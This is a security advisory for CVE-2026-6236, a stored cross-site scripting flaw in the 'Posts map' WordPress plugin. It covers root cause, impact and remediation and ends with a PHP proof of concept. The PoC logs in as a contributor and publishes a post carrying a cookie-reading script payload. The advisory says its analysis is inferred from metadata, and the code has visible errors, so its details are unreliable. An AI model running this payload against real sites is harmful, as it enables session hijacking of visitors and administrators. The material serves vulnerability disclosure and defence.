Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 24, 2026

CVE-2026-6236: Posts map <= 0.1.3 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'name' Shortcode Attribute (posts-map)

CVE ID CVE-2026-6236
Plugin posts-map
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.1.3
Patched Version
Disclosed April 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6236 (metadata-based): A stored cross-site scripting (XSS) vulnerability exists in the Posts map plugin for WordPress, version 0.1.3 and below. The vulnerability allows authenticated users with contributor-level access or higher to inject arbitrary web scripts via the ‘name’ shortcode attribute. The CVSS score is 6.4 (medium severity) with a vector of AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, indicating network exploitability, low attack complexity, low privileges required, no user interaction, and changed scope with low confidentiality and integrity impact.

Root Cause: Based on the CWE classification (79 – Improper Neutralization of Input During Web Page Generation) and the description, the vulnerability stems from insufficient input sanitization and output escaping on user-supplied shortcode attributes. The plugin likely registers a WordPress shortcode (e.g., [post_map]) that accepts a ‘name’ attribute. When rendering the shortcode, the plugin directly echoes or returns the attribute value without passing it through escaping functions like esc_attr() or esc_html(). This conclusion is inferred from the CWE and description; no source code diff is available to confirm the exact vulnerable function or line.

Exploitation: An authenticated attacker with contributor-level access creates or edits a WordPress post or page and inserts the vulnerable shortcode with a crafted ‘name’ attribute. The payload could be: [post_map name=”alert(‘XSS’)”]. When any user (including administrators) views the injected page, the script executes in their browser. The attack vector is through the WordPress post editor, using the plugin’s shortcode. The attacker does not need to trick a user; the script executes automatically on page load.

Remediation: The plugin developer must sanitize the ‘name’ attribute on input using WordPress’s sanitize functions (e.g., sanitize_text_field()) and escape the output when rendering. For shortcode attributes displayed as HTML attributes, the appropriate escaping function is esc_attr(); for HTML content output, use esc_html(). The fix should be applied to the shortcode handler callback that processes the ‘name’ attribute. Since no patched version is available, sites using the plugin should disable it or manually apply the fix.

Impact: Successful exploitation allows an authenticated contributor or higher to inject arbitrary JavaScript into any page using the vulnerable shortcode. The script executes in the context of any visitor’s session, enabling actions such as cookie theft (session hijacking), defacement, redirection to malicious sites, or triggering admin actions (e.g., creating new admin users) if an administrator visits the page. The scope change in the CVSS vector indicates the vulnerability impacts resources beyond the vulnerable component. The confidentiality and integrity impact is low, but the ability to execute scripts in a browser is significant for phishing and social engineering attacks.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6236 - Posts map <= 0.1.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'name' Shortcode Attribute

// Configuration
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$username = 'contributor_user';     // Change to a valid contributor or higher username
$password = 'contributor_pass';     // Change to the user's password

// WordPress login endpoint
$login_url = $target_url . '/wp-login.php';

// Initialize cURL session
$ch = curl_init();

// Step 1: Login to WordPress to get cookies
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);

// Step 2: Get the new post nonce (via admin-ajax or post new page)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, 0);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);

// Extract nonce (wpnonce) for post creation from the response
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/i', $response, $matches);
if (!isset($matches[1])) {
    // Fallback: use admin-ajax to get a post nonce
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, 'action=wp-compression-test&_ajax_nonce=');
    curl_exec($ch);
}

// Step 3: Create a new post with the malicious shortcode
$post_title = 'Atomic Edge PoC Post - ' . time();
$post_content = '[post_map name="<script>alert(document.cookie)</script>"]'; // XSS payload via shortcode attribute

$post_data = array(
    'post_title' => $post_title,
    'content' => $post_content,
    'post_status' => 'publish',
    'post_type' => 'post',
    'post_author' => 1, // Assumes the logged-in user ID; adjust if needed
);

// AJAX endpoint for saving posts (wp_ajax_save-post)
$post_data_ajax = array(
    'action' => 'save-post',
    'post_title' => $post_title,
    'content' => $post_content,
    'post_status' => 'publish',
    'post_type' => 'post',
);

if (isset($matches[1])) {
    $post_data_ajax['_wpnonce'] = $matches[1];
}

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data_ajax));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$response = curl_exec($ch);

// Step 4: Verify the exploit - retrieve the newly created post
preg_match('/"post":"(d+)"/', $response, $post_id_matches);
$post_id = isset($post_id_matches[1]) ? $post_id_matches[1] : 'unknown';

echo "n[+] Exploit post created. Post ID: $post_idn";
echo "[+] Visit: " . $target_url . "/?p=$post_id to trigger the XSSn";
echo "[+] The injected payload should execute in the browser of any visitor.n";

// Cleanup
curl_close($ch);
unlink('/tmp/cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School